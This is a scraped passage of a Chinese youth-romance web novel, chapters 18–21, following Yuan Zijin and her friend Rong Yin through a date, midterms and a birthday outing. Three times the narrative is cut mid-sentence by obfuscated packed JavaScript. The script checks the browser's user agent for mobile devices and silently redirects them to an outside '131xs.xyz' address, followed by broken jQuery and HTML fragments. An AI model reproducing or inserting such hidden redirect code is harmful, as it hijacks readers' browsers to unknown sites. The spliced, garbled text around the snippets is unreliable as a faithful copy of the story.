“不用了,”元子衿笑了笑,“其实这个时间还很早。” 七点都不到,下班的牛马饭还没吃上,遛弯的大爷大妈也还没回家看新闻联播。 两人说话的工夫,已经顺着扶梯到了一楼。 见元子衿无意,周昀也不勉强,正想着走出商场再道别,一声清亮的呼喊突然划破了四周嘈杂的背景音。 “元子衿!” 18. 第三计划 过于熟悉的声音传递到耳中,元子衿心“咯噔”一跳,猛地回了头。 自动扶梯还在缓缓下行,容吟和林沉一就站在他们上方三四级台阶处,一个面上不露声色,一个从眼神到嘴角都透着玩味,只差没拿着喇叭大喊“被我抓到了吧!” 元子衿吞了口唾沫,不知道该怎么形容现在的心情。 明明应该算背着好朋友偷偷和新朋友有了约会却没告知,但更有一种被男朋友抓到在外和人不清不楚的既视感是怎么回事? 两人向她走来的过程里,元子衿还在绞尽脑汁地想待会儿要怎么解释,甚至觉得商场的灯光是不是偷偷调整了强度,让她有种睁不开眼的错觉,直到人停在眼前,光亮被遮住些许,她才注意到容吟手里提着个袋子,似是打包了什么吃食。 “巧啊,和人约了在这儿聚啊?” 林沉一问话的语气很是随意,仿佛他们只是单纯在这座商场巧遇。 元子衿讪笑:“是啊……好巧。” 这里是离钰龙湾最近且拥有IMAX影院的一座商场,能选中这里并不稀奇,只是大家停留的时间段差不多,而且还能撞上,那真是龙王爷见了都得说一句,都是一家人呐。 林沉一的目光在周昀脸上转了一圈,见他有些眼熟,微笑致意的同时问候道:“哥们儿看着像是见过,也是一中的?” 从眼前人刚刚和元子衿打招呼时的热络程度来看,周昀不难判断出他们的关系要比一般朋友深,他嘴角牵出一抹浅笑,保持着礼貌的距离,“你好,我是二班的周昀。” 一听名字,林沉一忽地露出一个恍然的表情,顺手打了个响指,“噢,我知道你,你和简悠悠一起进了那个作文比赛!” 一句话,让在场的另外两位男生表情同时发生了微妙变化。 周昀是愣怔他们几人原来都是同一个相熟的小团体,容吟则是怀疑元子衿今天这场约会可能有简悠悠的手笔。 元子衿对他们内心各自的风云诡谲一无所知,她只觉得这样的寒暄毫无营养又浪费时间,最关键的是,她不想夹在几人中间继续保持尴尬微笑。 于是,她身子一转,往后出现的两人身旁侧了侧。 “我们都住一个小区,那我就和他们一起走了?” 周昀了然地点点头:“好,那我也走了,路上注意安全。” 虽然在场的第四个人自始至终没有开过口,周昀道别时的目光致意还是照顾到了每一个人。 · 灯火辉煌,紧密相连的车辆在暮色中织成光的河流。 回钰龙湾的路上,出租车内呈现出诡异的安静。 元子衿低头摆弄着手机,神色自若,容吟偏头看着窗外,面无表情,而坐在副驾驶上的林沉一—— 眼神不定,时不时地透过后视镜偷窥一下两人。 回程的距离不长,但这会儿正是堵车的时候,算一算,怎么也得二十分钟,这两人不会打算一路沉默到底吧? 再者说,他俩有什么好沉默的?元子衿是拒绝了他的邀约,结果反被他撞见和其他人一起看电影,心里要说不爽,不应该是他吗? 林沉一心神飘忽着,颇为有点坐立难安。 “小伙子,导航上显示这条路前面已经堵上,走旁边那条挂月路行吗?” 林沉一通常坐上交通工具后就当起了甩手掌柜,也从不记路,所以司机师傅所说的挂月路有没有多绕还真不清楚。 他身子往左前倾,指着司机的屏幕问:“您说的是这条绿色的?” 司机双手握着方向盘,目视前方的空档觑了一眼,“对,你放心,现在这都平台监控着,不会绕路。” “我没那意思,我就是不熟路。” “哦,它那边啊……” 一来二去的,林沉一和司机师傅有一搭没一搭地聊上,元子衿耳朵听了两句,余光瞥向身旁。 她看到容吟垂头,对着手机点了几下,没两秒,他的消息发了过来。 【熬夜至今:为什么不说话?】 元子衿嘴唇微微弯起,双手握住手机。 【青青子衿:你不也没说?】 容吟清了清嗓子,元子衿还以为他要先破冰,结果还是一条消息。 【熬夜至今:我不说你就不说,我怎么没看出来我这么重要?】 元子衿翻了个白眼,戳键盘的力度都强了几分。 【青青子衿:你就非要这么阴阳怪气?!】 林沉一又从后视镜里瞥了眼两人,一个嘴角勾起,一个拧着眉头,眼睛都专注着自己的手机,看来是正依靠网线在缓和僵局。 就说嘛,多大点事儿,他一个电影邀约的发起者都没觉得什么。 欸,真是叫人操碎了心。 · 夜空澄明如水,弦月高挂天边,车身在钰龙湾的大门前停稳,三人一道下了车。 按照惯例,容吟负责送元子衿到家门口,林沉一手一扬,和两人道了别。 秋风掠过梧桐树梢,叶片摩擦出细碎的沙沙声,小区步道上人影稀疏,只剩长排的路灯在夜色中站岗,两人在灯下慢慢走着,影子时而拉长时而缩短。 脚下的帆布鞋踩过一片落叶,发出清脆的碎裂声,元子衿偷偷瞥了眼身侧的人,侧脸在路灯下格外清晰,就是没有一点儿动静。 “你……手里提的,还不打算给我吗?” 容吟放慢脚步,打包袋在他指间晃了晃,“你说这个?我留着当夜宵。” 元子衿噘起嘴,气鼓鼓地看向他:“容吟,你故意的是不是!我明明在手机上已经跟你解释过了!” 出租车后座,元子衿点开和容吟的对话框,才终于知道当时和小红点一同出现的那句问话——“失联了?”前面那条未读消息的全貌,也是同时意识到自己的行踪早在他们共乘扶梯前已经泄漏。 手指在键盘上飞舞,她噼里啪啦地敲了大段文字,解释是因为先答应了周昀的邀约,怕林沉一知道了不开心所以才隐瞒着没告诉容吟自己的行踪,而聊天中断,也是因为看电影时调至了静音,吃饭时又不想玩手机显得不礼貌,所以才没有回复。 她没有解释为什么会答应周昀的邀约,但幸而容吟也略过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793039|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了这点。 “元子衿,你挺专制啊,我一片好心结果发现多余了都没怎么样,你还气上了?” 两人不经意对视上,元子衿摸了摸鼻子,“我……我也就是声音大了点而已好吧,这谁能想到那么凑巧。” 元子衿惯会审时度势,她双手抱住容吟的胳膊,像只撒娇的树袋熊:“我错了嘛,你在外面玩还能惦记我,我特别荣幸你知道吗!你说容吟你怎么这么好啊,没有你我可怎么活啊……” 她越说越来劲,越说越夸张,容吟终于破功,露出了今天碰面以来的第一个笑容。 他屈指弹了下她额头,将人从胳膊上扒开,把打包袋塞进她怀里,“拿走,鸡皮疙瘩起来一身,腻得我吃不下了。” 元子衿抱着打包袋弯唇一笑:“谢谢容老板款待哦~” 容吟调侃道:“别,我们就是区友关系。” 元子衿蹙眉,回想了半天才理解这段关系的由来。 “啧啧啧,容区友,你最好下次阅读理解能拿满分。” 月光正好落在容吟的嘴角,将那个上翘的弧度镀得格外清晰。 “我会的,谢谢元区友的祝福。” · 元子衿到家时,一楼客厅的电视正播着某档综艺节目,主持人夸张的笑声充满整个空间。 陆倩南坐在了沙发一隅,说是看电视,其实就是个背景音,手机里的麻将局正有条不紊地向前推进。 “回来啦?”陆倩南头也没抬,手指在屏幕上利落地打出一张牌。 “嗯。” 在陆倩南身边坐下后,元子衿着手拆除打包袋,目光瞟到茶几上放着的一部黑色手机,侧目看向旁人:“爸爸呢?” 陆倩南从牌局里分出神看了她一眼,“在洗澡。” 容吟打包的绿茶糕是小份,一共三块,刚掀开盖子,绿茶的淡淡清香就飘了出来。 “妈妈,来,吃绿茶糕,还有一块留给爸爸。” 接过元子衿递来的糕点,陆倩南仔细瞧了瞧,“你今天又去吃那家杭帮菜了?还打包一份回来,真是吃不腻啊。” 元子衿的那块还拿在手中没吃,听陆倩南这么说,先做了解释:“因为他们家是真材实料啊,而且甜度刚刚好,但凡再多放一勺糖,我都不会这么惦记。” 比起傍晚那会儿在店里吃到刚端上桌的,已经冷却的红豆绿茶糕更有黏性,也正是少了氤氲的热气,更显茶香清冽。 暖白的灯光下,糕点的截面被照得莹润如玉,一口咬下,微凉的豆沙在舌尖化开,绿茶的回甘像阵清风,元子衿吃得心满意足,“好吃!” 看着她这副模样,陆倩南在一旁忍俊不禁:“行了,看把你给高兴的,以后我路过那家店也给你带。” 元子衿扭着屁股碰了碰陆倩南:“好喔,谢谢妈妈。” 一块绿茶糕下肚,元子衿还有些回味,视线不禁再度落回打包盒。 最后一块糕点孤零零地躺在里面,仿佛在向她招手,表示千万不要客气。 欸,突然有点后悔,早知道就不说要把最后一块留给爸爸了。 19. 第三计划 怕自己会向着那块绿茶糕伸出罪恶之手,元子衿赶忙回了二楼的卧室。 原本她是打算拿着衣服直接去洗澡,简悠悠一通电话打来,又把她绑在了小沙发上。 “今天情况怎么样?” 电话一接通,简悠悠直奔主题。 “你问得可真直接,”元子衿猜着简悠悠打电话来就是这个用意,只不过想让她心多痒一会儿,“不过我还没问你呢,你给他递了多少情报啊?” 简悠悠在电话那端嘿嘿一笑:“没多少,这不想着不能委屈你的胃,所以就告诉了他你爱吃的菜系,总好过你一句都可以,然后他带着你兜圈强吧?” “那倒也是。”元子衿认同地点了点头。 “行了,跟我还卖关子,能不能给个痛快话?” 元子衿笑了:“我说简悠悠同志,你能不能把追江煦时的耐心分给我一点?双标有点明显啊。” “我错了,公主,我虔诚地向您道歉。好了,说吧。” 元子衿没再考验简悠悠有但不多的耐心,把今天从见面起自己的心路历程都给她剖析了一遍,顺带还告诉了她意外撞见容吟和林沉一的事。 “没事,这个不行,总有合适的,和学霸当朋友咱也不亏,下次你俩在一考场还能多交流交流学习经验。” 元子衿没应声,过了好一会儿才道:“其实……我不太想执行第一计划了。” 或许是因为带着明确的目的在寻找所谓的“合适对象”,元子衿突然意识到自己正以一种审视的姿态对待他人。 这种刻意的寻觅让她感到些许不适,毕竟她并非真心渴望恋爱,这样的态度多少显得有些轻率和不尊重。 简悠悠也跟着沉默了会儿,然后才问:“那第二计划呢?” 元子衿咬着嘴唇没说话,显然,这个问题没那么好回答,最后,她以一句“我想想”终结了这通电话。 卧室重归平静,元子衿如她所说的那般陷入了沉思。 第一计划本就不在她的设想之内,所以即使是抱着随遇而安的心态执行了一段时间但无果,她也能毫无负担地随时终止,可是第二计划…… 最初,这一系列计划的诞生是因为她不想让自己落单,也不甘在恋爱这件事上落后,但是现在……她好像是真的纯粹不想让容吟恋爱。 如果有一天他恋爱了,还会像今天这样,哪怕自己看电影时没回消息,他也会因为记挂着她,特意打包她爱吃的东西回来吗? 答案显而易见——不会。 即使在他心里,元子衿的分量丝毫未减,但他的行为终究要顾及女朋友的感受。 久而久之,日复一日,那些曾经自然而然的牵挂会变得不合时宜,那份下意识的体贴也会逐渐褪去,原本会做的事情不会做了,会记挂的心也就慢慢淡了。 一想到容吟会这样与自己拉开距离,元子衿就觉得很难过,一点犹豫都没有,她就做了决定。 第二计划还得继续执行! “可我这样,是不是太自私了?” 呢喃伴随着一声叹息缓缓吐出,元子衿内心好像又纠结起了新的问题。 这么些年下来,哪怕是悠悠忙自己的事情去了,元子衿的身边也一定还有容吟。 她习惯了他在身边,也习惯了他对她好,可是她忘了,在一起的人是可以分开的,对别人的那份好也是可以收走的。 “那我就慢慢戒断这些习惯,慢慢让自己适应容吟未来可能恋爱后出现的情况,等到我戒断成功,第二计划也就可以终止了。” 一番话,像是在给自己找借口,又像是在安慰她,没关系,她还可以慢慢来。 无力地松下肩膀后,元子衿从旁拿过抱枕放在了怀里,她双手兜着它,下巴搁了上去,巴掌大的小脸上多了几分怅然。 她一边轻抚着抱枕,一边低声道:“那你等等我吧,等等我就好了。” · 烤串理论再次上线,这回迎来的一片蔬菜是期中考试。 许是有家长会紧接其后的缘故,众人发愤图强的程度明显比对待月考时要高。 元子衿走到一考场外时,整条走廊上站了不少人,或是在小声背诵文言诗词,或是在抢记名句素材,往日嬉闹的几张面孔也捧着笔记在抱最后的佛脚。 家长会的压力像悬在头顶的达摩克利斯之剑,连空气都透着紧绷。 容吟和她这次不在同一考场,刚转身要走,元子衿冷不防叫住了他。 “容吟。” 她不敢看他,只好将视线微微下挪,停留在脖颈侧面淡青色的血管上。 “那个……天有点冷了,”她的声音比羽毛还轻,“待会儿考试中间的休息时间,我就不出来和你一起复习了。” 容吟几不可察地皱了下眉,倒不是因元子衿不打算出来,而是为她特意提前声明的举动感到诧异。 两人的成绩一直不相上下,大多数时候都能分在同一考场,间或也会像现在这样,被安排在相邻的两个考场。 每场考试之间有二十分钟的休息时间,通常他们都会利用这个间隙在走廊上再一起复习会儿。 以往她偶尔也会在这个间隙“抛弃”他,有时是犯懒趴着不动,有时是别的缘故,但从来都是漫不经心地摆摆手,随随便便将他打发走,今天这般郑重其事地提前告知还是头一遭,莫名透着一股生分的意味。 “知道了。” 最终容吟也没多问,只回了这三个字,倘若元子衿那会儿抬了头,她就会看到,他的眼里装的都是她。 · 第一场语文考试结束的铃声响起时,元子衿只觉得太阳穴隐隐发胀,方才那篇绞尽脑汁才凑够八百字的作文耗费了她太多精力。 机械地拧开水瓶灌了几口,冰凉的液体滑过喉咙,这才稍稍清醒了些,拉开椅子起身时,她满脑子只想着要去走廊透口气。 刚踏出后门,一抹熟悉的身影便映入眼帘。 容吟正倚在走廊的栏杆前,修长的手指松松地搭在金属栏杆上,双眼目视前方地投向了远处。 她下意识扬起嘴角,脚尖也悄悄踮起,却在迈出第一步的瞬间猛然僵住。 是她说不会去找他的,那她现在这又是在做什么? 转过身后,再往里走时,元子衿只觉得脚步变沉,唇角也有些撑不住。 心脏像是被浸泡在柠檬汁里,难过也突如其来。 该死,她为什么就不能自私到底呢? 这种要刻意和他保持距离的感觉也太难受了! 元子衿的身影在后门位置消失的刹那,容吟若有所觉地回过了头。那里不断有人进出,晃动的身影间却始终没有他想见的人。 他垂眸站了片刻,忽然折返回自己的座位,再出来时,修长的指间捏着一根草莓棒棒糖。 盯着粉色的外包装糖纸,他嘴角扯出一个轻嘲的笑。 也不知道是不是因为敏锐地察觉到了那股生分,他找元子衿,居然还需要用上什么理由和借口了。 走到一考场后门时,容吟的目光准确锁定了元子衿的位置,他唇角的笑意还未成形,被视野里出现的另一个人强压了下去。 周昀侧身坐在了她前座的椅子上,两人头挨得极近,正专注地讨论着什么。 容吟抿着嘴唇,沉默地注视着他们。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804017|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 理智告诉他,这不过是再普通不过的同学交流,可胸腔里翻涌的情绪却固执地认定那本该属于他的时间,本该属于他的位置,让另一个人给占了。 周昀的考号在前排,进出考场都习惯走前门。 元子衿靠窗坐着,直到刚刚重回座位,两人才在这个考场初次寒暄。 “对了,你现在忙吗?我有道题想问问,方便吗?” 周昀浅笑了下,让元子衿拿给他看,顺手将片刻前接满的水杯搁在了桌上。 起初两人一直是站着讲解,后来见前桌的座位始终空着,元子衿便建议他坐下。 草稿纸在桌面上铺展,笔尖在纸上行云流水般游走,随着周昀缜密的推演,元子衿眼中的困惑渐渐化作恍然,前座的同学回来后也站在一旁观望了会儿,最后直呼牛逼。 不知是不是已从题目中抽身的缘故,元子衿后知后觉有道目光落在身上许久,她环顾四周却一无所获,仿佛只是她的错觉。 · 上次月考的放榜是在校运会之前,那时元子衿和梁明露还没说上过话,因此也没注意到她的成绩排名,还是在食堂吃过中餐回了教室,才发现两人是同一个考场。 午间,梁明露睡不着,和元子衿的前座又刚好认识,两人一番商量,换了座位。 “你和容吟……闹矛盾了?” 梁明露双手搭在前座椅背上,虽然教室里醒着的同学不少,却还是刻意将声音压得极低。 元子衿闻言一怔,纤长的睫毛轻轻颤动:“没有啊,我们午饭还一起吃的。” 她的声音里带着真切的困惑。 梁明露是面朝元子衿反坐着的,她身子微微后仰,从这个角度,透过教室后门,正好能将走廊上的一段景象尽收眼底。 “你看啊,就这个角度,”她示意道,“容吟现在就站在那里,上午的考试结束以后他也是站在那里。我以为你俩闹别扭了,所以才……” 元子衿抿紧嘴唇,汹涌而来的罪恶感包裹住了她。 她怔忡了数秒,唇瓣轻启又合上,最终还是丢下一句“我出去一下”。 经过一上午高强度的脑力消耗,多数同学都选择了留在教室小憩,走廊上人影寥落。 容吟弓着身子,双臂平放在了栏杆上,他漫不经心地翻动着手中的单词本,校服外套下隐约可见凸起的肩胛骨轮廓。 似是有所察觉,纸张翻页的声音忽地停住,侧目,正对上元子衿走近的身影。 他阖上单词本,开口的声音很轻:“怎么出来了?” 看着他站在这里,看着他眼中毫不掩饰的关切和本不该存在的疑惑,元子衿忽然很想放弃那个打算慢慢和他拉开距离的决定。 可是他那么好,她更不能自私地沉溺其中。 疏远本就是个循序渐进的过程,今天上午的刻意回避已经迈出了第一步,现在说几句话,应该也无妨吧? 她这样说服着自己。 “感觉有人背着我在偷偷努力,怕你惊艳到我,所以出来打探一下。” 元子衿故意用着玩笑的口吻。 容吟似笑非笑地看向她,嗓音慵懒散漫:“元子衿,你挺不讲道理啊,是你自己说天冷不出来的吧。” 听他这么说,元子衿难免有些心虚:“所以……我在座位上努力呀。” “行,别松懈,等着我上一考场来追你。” “哟,挺有自信呢。” 这次的考试容吟确实是憋了股劲儿,最后的成效也颇为明显。 好消息是他的排名反超了元子衿一位。 坏消息是他俩的名字刚好踩在了划分考场的界线上。 20. 第三计划 投资是一件需要谨慎的事情,因为它的收益与风险并存,情绪投资也是如此。 又是一周过去,好不容易熬到周五,最后一节课前,教室里早已躁动不安,喧嚣声像潮水般翻涌,想要正常交谈,不把嗓门拔高几度都不行。 而在这番场景下,彦希却是一个人在演绎“热闹都是他们的,与我无关”。 下课后,简悠悠一直埋头补着课上没抄完的笔记,耳边闹哄哄的,她却总觉得少了点什么。 笔尖一顿,侧身望去,只见斜后方座位上的人正托着腮,目光涣散地望着窗外发呆。 “她什么情况?” 元子衿正抱着书包在提前收拾,扔出的回答言简意赅:“有嫂子了。” 得到答案的简悠悠嘴角一抽,满脸写着:我就知道这一天迟早要来。 消息是在课上曝出来的,当时只是以弹窗的形式无声推送到了彦希藏在书包隔层里的手机上。 好不容易等到老师下课离开,四周确认安全,彦希才摸出看了一眼,登时面色如灰。 元子衿见状也偷摸瞄了眼手机。 大家获悉八卦来源的软件都一样,自然也就瞧见了那条推送,想着彦希需要时间自我消化,元子衿没开口,把静静留给了她。 “拜拜就拜拜,下一个更乖。推翻重来呗,振作点,少女。” 简悠悠见不得彦希这副没精打采的样子,从抽屉里摸出一块巧克力,拆了包装送她嘴边。 彦希叹着气接过:“没力气搞下一个了。” 元子衿笑她:“不怕你的青春无处安放了?” 被回旋镖射中的某人愤愤咬了一口手中的东西:“垃圾男人,毁我青春!” 林沉一这会儿正走过来,一听这话,哪壶不开提哪壶,“呦,失恋了?” 彦希不想多说,这事儿丢人,还不如失恋,“差不多。” 林沉一眼睛一亮,八卦之魂熊熊燃烧,“恋的谁啊?” 彦希被他促狭的表情惹恼,语气顿时冲了起来:“反正不是你!” “嘿,你这人,”林沉一突然垮下脸:“你是不是忘了我今天生日?” 彦希的气焰像被戳破的气球,迅速瘪了下去,她撇撇嘴,不情不愿地嘟囔道:“骚瑞啦。” 在一旁看着两人的你来我往告一段落,元子衿适时插话:“你这会儿过来干嘛?” 林寿星清了清嗓子,正色道:“我女朋友刚发来消息,说是今天他们班主任心情不好,怕放学得拖一阵子。我们不是分两车去吃饭嘛,我来问问你们几个,要不要先去店里等?” 元子衿没回答,倒是问了另一个问题:“你女朋友那边,是就她一个人吗?” 林寿星没听懂:“什么意思?” 简悠悠一下就明白了元子衿想打探的是什么,帮腔说:“这不是你女朋友第一次跟我们碰面,说不准她想带个朋友一起,觉得自在些呢?” 林寿星摇头:“那倒没有,她没跟我提这事,要是我去接她时候带了就带了吧。所以你们到底要不要先去店里?” 三个女生交换了个眼神。 “我都行。” “随便。” “听你们的。” 林沉一点点头:“那就你们先过去。” 他转身时又补了句,“记得帮我把C位留出来啊!” · 喜庭海鲜是一家连锁的海鲜酒楼,在芙城小有名气,林沉一早早地就在团购软件上预约了位置。 元子衿几人到的时候正值人流爆满,和前台服务员报了预约手机号后,被领进一个包厢。 “这外面的生意也太好了吧?我觉得林沉一他们过来在街口那就得堵上。” 一行人从出租车上下来时,门前的交通几乎可以用瘫痪形容,各种车型见缝插针地停着,稍一不注意就能发生剐蹭。 听到彦希的感叹,容吟晃了晃手机,“没事,我和他说了,让他直接在街口下车。” 算上林沉一在内,一中这边一起庆生的有七个人。 他们原本是打算接到程珂然以后,男女各坐一辆车,因为临时决定分头行动,容吟选择了先跟着三个女生来店里。 “来来来,同志们,看看点什么菜?” 元子衿将桌上扫码点单的二维码拍了照片给林沉一发去,两边同步点单,等他们到了就能开吃。 简悠悠接过元子衿的手机,兴奋地撺掇彦希:“快点快点,千万别给他省钱。” 容吟在元子衿身旁落座时,三个女生正凑作一团窃窃私语,他顺手拿起桌上的水壶,熟稔地准备为餐具消毒。 热水刚要注入元子衿面前的瓷碗,她却突然伸手虚拦了一下,“我自己来吧。” 水壶在半空微微一顿,那种若有似无的疏离感又一次悄然漫上心头,像是有一层薄雾,横亘在了两人之间。 容吟神色如常地继续动作,声音里带着恰到好处的轻松,“你不如帮帮忙,把他们的碗筷都转我这来。” 元子衿明显怔了一瞬,但很快会意,默契地配合起来。 两人一递一接间,消毒过的餐具在桌面流转,看似和谐的画面下,却藏着只有彼此才能察觉的幽微距离。 “啧,”彦希用手肘捅了捅简悠悠,朝那对身影努嘴,“像不像在新婚夫妇家蹭饭?” 简悠悠不动声色地瞥了眼,点头:“你别说,还挺有那味儿。” · 菜快上齐时,林沉一推门而入,顷刻间,包厢里的气氛被点燃。 “来来来,寿星,就等你了。” “终于来了你们,我都感觉快打烊了。” “这会儿街口已经堵得不行了吧。” “……” 众人七嘴八舌间,林沉一牵着程珂然落座,他又是给人介绍,又是给人倒水,元子衿几人还是头回见他如此殷勤的一面。 程珂然的五官明媚艳丽,笑起来更是好看,一顿饭下来虽然开口的时候不多,但和一桌人都相谈甚欢。 边吃边聊到七点,一行人准备转移阵地。 确认大家伙们都吃饱后,林沉一拿着手机站起身,打算先去前台买单,程珂然也跟着一起走了出去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817416|174559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 剩下的女生结队去了洗手间,三个男生检查了一圈,发现没有遗漏后,一同走出了包厢。 酒楼陆陆续续迎来不少客人,女洗手间里也是大排长龙,三人不想彼此干等,约好直接在大门前碰面。 元子衿出来时,队伍又往外延长了些,穿过人墙后,一眼看见等在通道口的容吟。 他的手机横向拿着,看起来像是在打游戏。 这个年龄段的男生几乎都热衷于各类手游,即便是忙里偷闲只能摸上手机几分钟,状态也能立马从读书时的死气沉沉切换到打了鸡血般亢奋。 许是太过激情,也许是需要通过游戏来发泄,每每经过他们身旁时,元子衿总能听见一惊一乍的声音,当然,嘴里继而蹦出带有脏话的字眼也就顺其自然。 容吟不同,他很安静,也可以说是很懒散,除了偶尔开口做些必要的交流,他几乎不张嘴,但从他游刃有余的模样来看,元子衿又能确认他享受到了游戏带来的乐趣。 “不是说在门口等吗?你怎么一个人在这里?” 元子衿走到容吟面前,没有多余的动作,也没看游戏进程如何,倒是容吟,抬眼望了望,随后熄屏,将手机送进了裤口袋。 “外面人多,不好找。” 元子衿点点头,没再多说什么,从容吟的肩上取下自己的书包,随后一起走了出去。 · 暮色沉沉,各色霓虹光亮点缀在楼宇之间,路上车水马龙,鸣笛的声音此起彼伏。 下一个场地是KTV,距离不远,走过去刚好是能消食的程度。 快到KTV那栋楼底下时,元子衿脚步停在了一家便利店外。 “你们要不要买点什么吃的喝的?” KTV里零食的售价几乎是外面的两倍,品类也不算丰富,几人都背了书包,偷偷摸摸带点儿进去也很方便,元子衿觉得没必要让林沉一当冤大头。 到底是吃过晚餐没多久,肚子里空间不足,一个个都很矜持地摇了摇头。 元子衿深知这群人的品性,这会儿一个个嘴上说着不要,待会儿她一掏出每个人又都会来尝点儿。 “我是不会分享的哈。” 听了元子衿的声明,彦希最先动摇:“那你给我带瓶水吧,两升的那种。” 简悠悠顶着一个巨大的问号看了她一眼:“你要当水牛啊?” 彦希微笑:“我要不哑不归!” 元子衿忍俊不禁,却还是点头应允,后来几人干脆又腾出了一个空书包交给她。 元子衿本想拉着简悠悠同去便利店,谁知简悠悠听了彦希的豪言壮语,决心要趁元子衿这个头号麦霸登场前抢占先机。 压根儿不等元子衿开口,简悠悠一把将容吟推到她身边:“劳动力在这儿,千万别客气!” 两人猝不及防地对视上,空气仿佛凝固了一瞬,最终谁也没说什么,容吟默默接过那个空荡荡的书包,与元子衿一前一后地走进了便利店。 玻璃门开合的瞬间,机械的迎客声同步作响,像是为他们微妙的独处时光按下了开始的按钮。 21. 第三计划 便利店的白炽灯光亮十足,琳琅满目的零食整齐码放在货架上,元子衿熟练地挑了几包女生们爱吃的膨化食品,购物篮很快就装了小半。 她指尖在货架间游移,不知道还应该选些什么,转过头问,“你有没有什么想吃的?” 容吟一直跟在她身后半步的距离,闻言,随手往篮子里丢了两罐薄荷味的口香糖。 “待会儿上去也是被拉着打游戏,反正手闲不下来,嚼个糖提神就够了。” 元子衿好笑地看了他一眼:“怎么感觉你说得委屈巴巴的。” “那不然呢?”容吟挑眉,跟着也笑:“还有人喂啊。” 一句“也不是不行”本要脱口而出,元子衿急忙咬住下唇,硬生生转成一声带有嫌弃意味的轻哼:“那你想得还挺美。” 晚场也就三个小时,元子衿没再往里扔吃的,倒是记着彦希的嘱咐,给她拿了瓶大水。 “其他人喝什么?你们应该不会在里面点酒吧?” 容吟否决了这个猜测,“又不是打算彻夜不归,还没那个胆子,每个人拿瓶水就够了。” 一次性要拿七瓶矿泉水,元子衿只觉得自己手都不够用,容吟不由分说地接过了大半,蓝色的瓶身在他臂弯里垒成一座小山。 玻璃门再度开启,元子衿将鼓鼓囊囊的书包背上了肩,怀里还抱着彦希点名要的超大瓶装水。 容吟走在她身侧,沉甸甸的塑料袋在他指节处的骨肉上勒出一段凹凸不平。 “要我说,干脆渴死他们算了。” 视线落在容吟的手上,元子衿眉心不自觉地蹙起,“这么多水提上去,肯定要勒红。” 两人刚走出便利店一会儿,冷白的光亮斜斜扫过来,元子衿气鼓鼓抱不平的模样落入容吟眼底。 他嘴角含笑,特意当着她的面将塑料袋换到另一只手。 “换着提就行了,我有那么虚弱吗?” · 推开厚重又结实的门页,伴着二胡演奏的悲壮乐曲从里流淌出来,紧随其后响起的是简悠悠从话筒里传出的声音。 “谁家好人唱《离歌》开嗓啊?” 五彩斑斓的射灯在头顶频繁切换,立体环绕的伴奏在耳边回响,彦希抱着立麦,眼神都不给一个地自信开唱。 “一开始我只相信 伟大的是感情 ……” “她这刚开嗓啊?” 在简悠悠身旁坐下后,元子衿随口问了句,容吟正好递水过来,她下意识地看了眼他的手。 彦希开始升调了,简悠悠只能扒着元子衿的耳朵说话:“对啊,谁让你俩拿着麦了就不松手,所以我刚刚没给她话筒,先唱了几首,她就捣鼓那个立麦去了。” 来KTV就是图个热闹气氛,林沉一也没想着和麦霸们抢话筒,见容吟进来,招呼着几个男生一起开黑。 程珂然就坐在了他的身旁,许是不够熟悉放不开的缘故,只是目光游移在大屏幕和点歌台之间,却始终没有起身加入的意思。 “你没有叫他女朋友一起唱吗?” 彦希已经声嘶力竭地唱到高潮部分,元子衿说话的声音几乎要淹没在背景音乐里。 简悠悠翻着白眼摇头,发梢随着动作轻轻晃动:“她说先不唱。” 彦希这一唱,几乎就在立麦前坐了快一个小时,走下来补充水分的功夫,眼睛扫到包厢里少了两个人。 “林沉一他女朋友呢?”她问。 “出去了。”简悠悠答。 “出去多久了?”她追问。 “一两分钟吧,你找她有事啊?”简悠悠再答。 彦希没有答复简悠悠的反问,倒是将目光转向元子衿:“衿衿,去洗手间吗?” 元子衿好不容易等到彦希休息,自是不肯在这会儿起身,“不去,我才拿到麦,要去也等我唱首歌先。” 元子衿的回答正中下怀,彦希装模作样地点点头,一把拉起正在点歌的简悠悠往外走:“那你陪我去。” “不是,我也才等到你结束个人演唱会,我不要去!” 彦希没有理会简悠悠的反抗,强行将人拽了出去。 包厢门在身后合上,震耳欲聋的声音一下被隔绝,走廊上虽也播放着充满动感的音乐,但分贝明显对耳朵友好许多。 “告诉你一个我的最新发现,”彦希左右张望了下,神神秘秘地说道:“林沉一女朋友看容吟的眼神不简单。” 简悠悠的第一反应不是觉得匪夷所思,而是好奇包厢里这么迷离的灯光下,彦希居然能透过对方的眼神看出这些。 “这你都看得出来?” “就那谁,不是塌房了嘛,在和他割袍断义前,我去超话看了一眼。” 